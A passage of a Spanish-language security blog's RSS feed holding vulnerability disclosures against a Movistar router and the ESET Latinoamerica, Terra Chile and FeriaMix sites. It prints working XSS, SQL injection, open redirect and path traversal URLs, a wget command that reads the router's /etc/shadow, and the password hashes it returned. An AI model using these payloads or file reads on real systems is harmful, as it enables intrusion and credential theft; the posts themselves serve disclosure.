			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Farbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"  data-text="Arbitrary URL Redirection y XSS en sitio web del S.I.I" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Secureless.org: Repositorio de vulnerabilidades web</title>
		<link>http://blog.zerial.org/seguridad/secureless-org-repositorio-de-vulnerabilidades-web/</link>
		<comments>http://blog.zerial.org/seguridad/secureless-org-repositorio-de-vulnerabilidades-web/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 19:41:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[hacklab]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2172</guid>
		<description><![CDATA[Como proyecto del hacklab, nace &#8220;Secureless&#8220;, un sitio web que busca centralizar y almacenar una base de datos de sitios web vulnerables con las tipicas vulnerabilidades como XSS, SQL-I, etc. Secureless nace simplemente de la necesidad de investigar y aprender aun mas sobre este tipo de vulnerabilidades y seguridad en la web. Aunque a muchos [...]]]></description>
			<content:encoded><![CDATA[<p>Como proyecto del <a href="http://hacklab.cl">hacklab</a>, nace &#8220;<a href="http://secureless.org">Secureless</a>&#8220;, un sitio web que busca centralizar y almacenar una base de datos de sitios web vulnerables con las <em>tipicas</em> vulnerabilidades como XSS, SQL-I, etc.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/04/sless.png"><img class="aligncenter size-full wp-image-2179" title="Secureless - http://secureless.org" src="http://blog.zerial.org/wp-content/uploads/2011/04/sless.png" alt="" width="522" height="541" /></a></p>
<p><a href="http://secureless.org">Secureless</a> nace simplemente de la necesidad de investigar y aprender aun mas sobre este tipo de vulnerabilidades y seguridad en la web. Aunque a muchos no les parezca lo correcto, con el tiempo nos hemos dado cuenta que las fallas se corrigen mucho mas rapido cuando son publicadas y creemos que de esta forma podemos ayudar a que los sitios sean más seguros.</p>
<p>Lo que buscamos en esta version es explorar un poco más en el mundo de la (in) seguridad en aplicaciones web. En esta primera version agregamos la posibilidad de que la gente pueda reportarnos mediante un mensaje cifrado sitios vulnerables y de esta forma poder contribuir de forma &#8220;segura&#8221; a este proyecto, aunque la mayoría (99%) de los sitios publicados son producto de nuestra propia invesgitacion, agradecemos a quienes nos apoyan y nos envian información al respecto.</p>
<p><span id="more-2172"></span></p>
<p>Como primera anecdota, tuvimos el caso de NIC Chile quien fue notificado al mismo tiempo de <a href="http://www.secureless.org/vulnerability/1347/">publicar la vulnerabilidad en Secureless</a>, quienes resolvieron el problema en menos de 20 minutos. La vulnerabilidad que afectaba a NIC Chile era de tipo XSS en uno de sus scripts cgi.</p>
<p>Ya estamos planificando noches de &#8220;hacking&#8221; para dedicarnos a seguir publicando sitios importantes con fallas de seguridad.</p>
<p><strong>Links:</strong></p>
<p>- <a href="http://twitter.com/secureless">Twitter @secureless</a></p>
<p>- <a href="http://secureless.org">Secureless.org</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fsecureless-org-repositorio-de-vulnerabilidades-web%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/secureless-org-repositorio-de-vulnerabilidades-web/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/secureless-org-repositorio-de-vulnerabilidades-web/"  data-text="Secureless.org: Repositorio de vulnerabilidades web" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/secureless-org-repositorio-de-vulnerabilidades-web/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en todos los routers Fiberhome HG-110 de Telefonica/Movistar</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-todos-los-routers-fiberhome-hg-110-de-telefonicamovistar/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-todos-los-routers-fiberhome-hg-110-de-telefonicamovistar/#comments</comments>
		<pubDate>Fri, 08 Apr 2011 13:46:34 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[adsl]]></category>
		<category><![CDATA[fiberhome]]></category>
		<category><![CDATA[fiberhome hg110]]></category>
		<category><![CDATA[hg110]]></category>
		<category><![CDATA[movistar]]></category>
		<category><![CDATA[router]]></category>
		<category><![CDATA[telefonica]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2151</guid>
		<description><![CDATA[En algunos paises, Telefonica/Movistar entrega a sus clientes un router FiberHome HG-110, uno blanco y con dos antenitas: Las vulnerabilidades que he encontrado son: Cross-Site Scripting: http://router.internal.ip:port/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&#038;var:menu=advanced&#038;var:page=dns Local File Include and Directory/Path Traversal: http://router.internal.ip:port/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&#038;var:menu=advanced&#038;var:page=dns Para poder explotar estas vulnerabilidades no es necesario estar autenticado. Informacion del dispositivo: HardwareVersion : HG110_BH_R1A SoftwareVersion : HG110_BH_V1.6 Firmware Version [...]]]></description>
			<content:encoded><![CDATA[<p>En algunos paises, Telefonica/Movistar entrega a sus clientes un router FiberHome HG-110, uno blanco y con dos antenitas:</p>
<p><img class="aligncenter size-full wp-image-2153" title="fiberhomehg110" src="http://blog.zerial.org/wp-content/uploads/2011/04/fiberhomehg110.png" alt="" width="375" height="280" /></p>
<p>Las vulnerabilidades que he encontrado son:</p>
<p><strong>Cross-Site Scripting:</strong> http://router.internal.ip:port/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&#038;var:menu=advanced&#038;var:page=dns</p>
<p> <strong>Local File Include and Directory/Path Traversal:</strong> http://router.internal.ip:port/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&#038;var:menu=advanced&#038;var:page=dns</p>
<p>Para poder explotar estas vulnerabilidades no es necesario estar autenticado.</p>
<p>Informacion del dispositivo:</p>
<pre>HardwareVersion :	HG110_BH_R1A
SoftwareVersion :	HG110_BH_V1.6
Firmware Version :	1.0.0</pre>
<p>No descarto que estas mismas (y otras) vulnerabilidades puedan afectar a otros modelos del mismo fabricante.</p>
<p><strong>ACTUIALIZADO</strong> El httpd se ejecuta como &#8220;root&#8221; (mini_httpd) por lo que es posible acceder, mediante LFI, a archivos con esos privilegios.</p>
<blockquote><p>$ wget -o /dev/null -O &#8211; &#8220;http://192.168.1.1:8000/cgi-bin<br />
/webproc?getpage=../../../../../../../../../../../../etc/shadow&#038;<br />
var:menu=advanced&#038;var:page=dns&#8221;</p>
<p>#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::</p>
<p>root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::</p>
<p>#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::</p>
<p>#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::</p></blockquote>
<blockquote><p>~ $ ps ax|grep httpd</p>
<p>  509 root       4212 SW  /usr/sbin/mini_httpd -d /usr/www -c<br />
/cgi-bin/* -u roo</p>
<p>~ $</p></blockquote>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-todos-los-routers-fiberhome-hg-110-de-telefonicamovistar%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-todos-los-routers-fiberhome-hg-110-de-telefonicamovistar/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-todos-los-routers-fiberhome-hg-110-de-telefonicamovistar/"  data-text="Vulnerabilidad en todos los routers Fiberhome HG-110 de Telefonica/Movistar" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-todos-los-routers-fiberhome-hg-110-de-telefonicamovistar/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades reportadas y corregidas en sitio web ESET Latinoamerica</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 17:18:15 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[eset]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2131</guid>
		<description><![CDATA[El fin de semana recien pasado, nos juntamos en el laboratorio en una &#8220;hacking night&#8221; analizando vulnerabilidades web de varios sitios, entre ellos estuvo el de ESET Latinoamerica. La vulnerabilidades encontradas fueron del tipo &#8220;descubrimiento de informacion&#8221; que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la [...]]]></description>
			<content:encoded><![CDATA[<p>El fin de semana recien pasado, nos juntamos en el <a href="http://hacklab.cl">laboratorio</a> en una &#8220;<em>hacking night</em>&#8221; analizando vulnerabilidades web de varios sitios, entre ellos estuvo el de <a href="http://www.eset-la.com">ESET Latinoamerica</a>.</p>
<p><img class="aligncenter size-full wp-image-2132" title="logotyp_eset" src="http://blog.zerial.org/wp-content/uploads/2011/04/logotyp_eset.jpg" alt="" width="437" height="163" /></p>
<p>La vulnerabilidades encontradas fueron del tipo &#8220;descubrimiento de informacion&#8221; que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la base de datos, nombres de las tablas, etc. Por otro lado, encontramos tambien script y formularios vulnerables a XSS.<br />
Las vulnerabilidades fueron corregidas 1 dia despues de haber sido reportadas.<br />
Las URLs afectadas son:</p>
<p>- http://www.eset-la.com/centro-amenazas/article.php<br />
- http://www.eset-la.com/company/article.php<br />
- http://www.eset-la.com/rss/podcasts<br />
- http://www.eset-la.com/centro-amenazas/descarga/compania/cool_stuff.php<br />
- http://www.eset-la.com/xtrasappz/ajax/events.ajax.php<br />
- https://ps.eset-la.com/forms/prospectos.php<br />
- https://ps.eset-la.com/forms/numeros_serie_registracion.php</p>
<p>Estas dos ultimas con <strong>https</strong>.</p>
<p><span id="more-2131"></span></p>
<p>Los errores o warnings no estan deshabilitados en el servidor que publico. Se pueden apreciar errores que permiten descubrir el full-path de la aplicacion:</p>
<p><a href="http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa">http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa</a><br />
o<br />
<a href="http://www.eset-la.com/company/article.php?contentID[\]=1379">http://www.eset-la.com/company/article.php?contentID[\]=1379</a></p>
<p><img class="aligncenter size-full wp-image-2137" title="fpd_eset" src="http://blog.zerial.org/wp-content/uploads/2011/04/fpd_eset.png" alt="" width="595" height="51" /></p>
<p>Los scripts que permitian Cross-Site Scripting:</p>
<p>- <a href="https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E">https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E</a></p>
<p>- <a href="https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&amp;css=%22%3Eaa">https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&amp;css=%22%3Eaa</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/04/2xss_alert.png"><img class="aligncenter size-full wp-image-2143" title="2xss_alert" src="http://blog.zerial.org/wp-content/uploads/2011/04/2xss_alert.png" alt="" width="645" height="293" /></a></p>
<p>Permitian inyectar codigo mediante la variable &#8220;promocode&#8221; y mediante la variable &#8220;css&#8221; era posible decirle al sitio que su archivo de hoja de estilo lo fuera a buscar a una URL externa, de esta forma se pasaria cualquier tipo de filtro que pudiese tener el sitio, por ejemplo:</p>
<p>- <a href="https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&amp;css=http://remote.host/devel/poc.css?ps.eset-la.com">https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&amp;css=http://remote.host/devel/poc.css?ps.eset-la.com</a></p>
<p>En nuestro &#8220;poc.css&#8221; remoto podriamos tener codigo css que incluya instrucciones javascript.<br />
Todos los que pertenecen al subdominio &#8220;ps&#8221; usan la confianza del usuario en el sitio, ya que tiene un certificado SSL valido, el cual el usuario podria perfectamente confiar en una URL maliciosa.</p>
<p><strong>Timeline:</strong></p>
<p>- Descubiertas: 2 de Abril del 2011<br />
- Reportadas: 6 de Abril del 2011<br />
- Solucionadas: 7 de Abril del 2011</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/"  data-text="Vulnerabilidades reportadas y corregidas en sitio web ESET Latinoamerica" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-reportadas-y-corregidas-en-sitio-web-eset-latinoamerica/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Multiples vulnerabilidades en sitio web de Terra</title>
		<link>http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/</link>
		<comments>http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 13:56:04 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[terra]]></category>
		<category><![CDATA[terra chile]]></category>
		<category><![CDATA[terra networks]]></category>
		<category><![CDATA[terra.cl]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2026</guid>
		<description><![CDATA[Vulnerabilidades del tipo XSS, SQL Injection y Full Path Disclosure tiene el sitio web de Terra Networks Chile, estas vulnerabilidades las encontré el Sábado 25 de Diciembre y reportada el 27. Las URL vulnerables corresponden al buscador de terra: buscador.terra.cl; al sitio de &#8220;seguridad&#8221;: seguridad.terra.cl; sitio web mobil:m.terra.cl; sitio web principal:www.terra.cl;y un sub-portal: acaballo.terra.cl Timeline [...]]]></description>
			<content:encoded><![CDATA[<p>Vulnerabilidades del tipo <strong>XSS</strong>, <strong>SQL Injection</strong> y <strong>Full Path Disclosure</strong> tiene el sitio web de <a href="http://www.terra.cl" target="_blank">Terra Networks Chile</a>, estas vulnerabilidades las encontré el Sábado 25 de Diciembre y reportada el 27.</p>
<p>Las URL vulnerables corresponden al buscador de terra: <em>buscador.terra.cl</em>; al sitio de &#8220;seguridad&#8221;:<em> seguridad.terra.cl</em>; sitio web mobil:<em>m.terra.cl</em>; sitio web principal:<em>www.terra.cl</em>;y un sub-portal: <em>acaballo.terra.cl</em></p>
<p><strong>Timeline</strong><br />
* 25/Diciembre/2010: Se encuentran las vulnerabilidades.<br />
* 27/Diciembre/2010: Se reportan.<br />
* 28/Diciembre/2010: No se obtiene respuesta. Se publican.</p>
<p><span id="more-2026"></span></p>
<p>La <strong>primera</strong> vulnerabilidad corresponde a un XSS encontrado en el buscador:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/xss_buscador.png"><img class="aligncenter size-full wp-image-2035" title="xss_buscador" src="http://blog.zerial.org/wp-content/uploads/2010/12/xss_buscador.png" alt="" width="679" height="201" /></a></p>
<p>La pagina &#8220;Default.aspx&#8221; no está validando ni filtrando los datos pasados por la variable &#8220;query&#8221;.</p>
<p>La <strong>segunda</strong> vulnerabilidad tambien corresponde a XSS, pero afecta al sitio <em>seguridad.terra.cl</em>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad_url.png"><img class="aligncenter size-full wp-image-2037" title="xss_seguridad_url" src="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad_url.png" alt="" width="513" height="33" /></a>Tambien corresponde a un script asp que no valida ni filtra el valor de la variable &#8220;Pagina&#8221;, pudiendo inyectar código html o javascript</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad.png"><img class="aligncenter size-full wp-image-2038" title="xss_seguridad" src="http://blog.zerial.org/wp-content/uploads/2010/12/xss_seguridad.png" alt="" width="603" height="109" /></a></p>
<p>La <strong>tercera</strong> vulnerabilidad es una del tipo &#8220;<em>Full Path Disclosure</em>&#8220;; nos permite ver la ruta absoluta donde está la aplicación. Esta vulnerabilidad es bastante particular, ya que no he podido reproducirla en ningun otro script del mismo sitio. La URL h<em>ttp://www.terra.cl/deportes/index.cfm?accion=futbolnacional&amp;id_reg=1518438</em> muestra una noticia o información correspondiente al id 1518438, sin embargo, si le agregamos dos puntos (..) al final de la URL, podemos ver un error que nos muestra la información:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/fpd_url.png"><img class="aligncenter size-full wp-image-2039" title="fpd_url" src="http://blog.zerial.org/wp-content/uploads/2010/12/fpd_url.png" alt="" width="517" height="32" /></a><br />
Se pueden ver los dos puntos al final de la URL, lo que nos muestra el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/12/fpd.png"><img class="aligncenter size-full wp-image-2041" title="fpd" src="http://blog.zerial.org/wp-content/uploads/2010/12/fpd.png" alt="" width="593" height="171" /></a></p>
<p>La <strong>cuarta</strong> vulnerabilidad es una <em>SQL-Injection</em>, afecta sl subdominio acaballo.terra.cl, especificamente a la URL <em>http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460</em>. Podemos hacer que se queje si agregamos la tipica comilla (&#8216;) al final de la URL</p>
<blockquote><p><strong>Warning</strong>:  mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <strong>/var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php</strong> on line <strong>274</strong></p>
<p><strong>Warning</strong>:  mysql_num_rows(): supplied argument is not a valid MySQL result resource in <strong>/var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php</strong> on line <strong>275</strong></p></blockquote>
<blockquote><p><strong><br />
</strong></p></blockquote>
<p>O bien manejar la query para que nos devuelva verdadero y no muestre error, por ejemplo:</p>
<p><em>http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460%20OR%201=1;%20&#8211;</em></p>
<p>Ademas de poder inyectar SQL, nos revela información del path absoluto.</p>
<p>La <strong>quinta</strong> y última vulnerabilidad nos permite redireccionar al usuario a cualquier sitio fuera de terra.cl, la url vulnerable es <strong>http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&#038;pais=CL&#038;urlRetorno=</strong></p>
<p>Si a la variable urlRetorno se le pasa un valor de una URL cifrado en base64, el usuario será redireccionado a ese sitio. Por ejemplo, si ciframos http://www.google.cl en base64, quedaría <strong>aHR0cDovL3d3dy5nb29nbGUuY2w=</strong>, si ingresamos a la URL completa:</p>
<p><a href="http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&#038;pais=CL&#038;urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=">http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&#038;pais=CL&#038;urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=</a></p>
<p>Podemos ver como el navegado se va automaticamente al sitio de Google. De esta forma,es posible hacer que un usuario ingrese a un sitio malicioso, usando la confianza del dominio de terra.cl.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmultiples-vulnerabilidades-en-sitio-web-de-terra%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/"  data-text="Multiples vulnerabilidades en sitio web de Terra" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/multiples-vulnerabilidades-en-sitio-web-de-terra/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>XSS en el sitio web de FeriaTicket y FeriaMix</title>
		<link>http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/</link>
		<comments>http://blog.zerial.org/seguridad/xss-en-el-sitio-web-de-feriaticket-y-feriamix/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 02:10:13 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2004</guid>
		<description><![CDATA[FeriaTicket se dedica a la venta de tickets/entradas de eventos de todo tipo y FeriaMix vende libros y música, mediante el registro de usuario es posible realizar compras en línea en ambas tiendas. Ambos sitios web, pertenecientes a la misma empresa, están desarrollados por la misma empresa usando el mismo sistema web (framework, cms o [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-2005" title="feriapwned" src="http://blog.zerial.org/wp-content/uploads/2010/12/feriapwned.png" alt="" width="585" height="69" /></p>
<p><strong>FeriaTicket</strong> se dedica a la venta de tickets/entradas de eventos de todo tipo y <strong>FeriaMix</strong> vende libros y música, mediante el registro de usuario es posible realizar compras en línea en ambas tiendas. Ambos sitios web, pertenecientes a la misma empresa, están desarrollados por la misma empresa usando el mismo sistema web (framework, cms o como quieran llamarlo) y así mismo, comparten los mismos bugs y vulnerabilidades.</p>
<p>La vulnerabilidad en común corresponde a una del tipo Cross-Site Scripting (XSS) al no validar los parametros de la URL, permitiendo la inyección de código html o javascript arbitrario.<br />
Especificamente, se encuentra en el script <strong>wspd_cgi.sh</strong> al no validar el valor que se le entrega a la variable <strong>wspd_cgi.sh.</strong></p>
<p style="text-align: center;"><strong>wspd_cgi.sh/WService=<em>&lt;código malicioso&gt;</em></strong></p>
<p>No está demas decir que la vulnerabilidad permite redireccionar a un sitio distinto al de FeriaTicket o FeriaMix, pudiendo robar las cookies y suplantar la identidad de los clientes, accediendo a información privada. A pesar de lo que la empresa declara en su <a href="http://www.feriamix.cl/privacidad_seguridad.html" target="_blank">página relacionada con la privacidad y la seguridad</a>:</p>
<blockquote><p><strong>Compromiso con la Seguridad</strong><br />
En relación a nuestro sitio web (www.feriamix.cl), Empresas Feria hace esta declaración de seguridad y privacidad en orden a demostrar y comunicar su compromiso con una práctica de negocios de alto nivel ético y dotada de los controles internos apropiados.</p>
<p><strong>Protección de Datos</strong><br />
Nuestro sitio está protegido con una amplia variedad de medidas de seguridad, tales como procedimientos de control de cambios, passwords y controles de acceso fí­sico. También empleamos otros mecanismos para asegurar que los datos que nos proporcionas no sean extraviados, mal utilizados o modificados inapropiadamente. Esos controles incluyen polí­ticas de confidencialidad y respaldo periódico de bases de datos.</p></blockquote>
<p>Puedo asegurar que <strong>no</strong> están cumpliendo con lo que dicen.</p>
<p><span id="more-2004"></span></p>
<p>Prueba de concepto <strong>FeriaMix</strong>:</p>
